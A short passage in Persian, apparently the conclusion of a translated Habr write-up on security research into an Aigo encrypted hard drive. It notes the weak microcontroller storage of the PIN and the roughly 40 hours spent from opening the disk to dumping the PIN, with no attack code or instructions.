بنابراین، حفاظت از این درایو چیزهای زیادی را باقی می‌گذارد، زیرا از یک میکروکنترلر معمولی (نه «سخت‌شده») برای ذخیره کد پین استفاده می‌کند... به‌علاوه، من (هنوز) به نحوه انجام کارها با داده‌ها نگاه نکرده‌ام. رمزگذاری در این دستگاه!

چه چیزی را می توانید برای Aigo توصیه کنید؟ پس از تجزیه و تحلیل چند مدل از درایوهای HDD رمزگذاری شده، در سال 2015 ساختم ارائه در SyScan، که در آن او مشکلات امنیتی چندین درایو HDD خارجی را بررسی کرد و توصیه هایی را در مورد آنچه که می توان در آنها بهبود داد، ارائه کرد. 🙂

من دو آخر هفته و چندین شب را صرف این تحقیق کردم. در کل حدود 40 ساعت. شمارش از همان ابتدا (زمانی که دیسک را باز کردم) تا انتها (دامپ کد پین). همان 40 ساعت شامل زمانی است که برای نوشتن این مقاله صرف کردم. سفر بسیار هیجان انگیزی بود.

منبع: www.habr.com

اضافه کردن نظر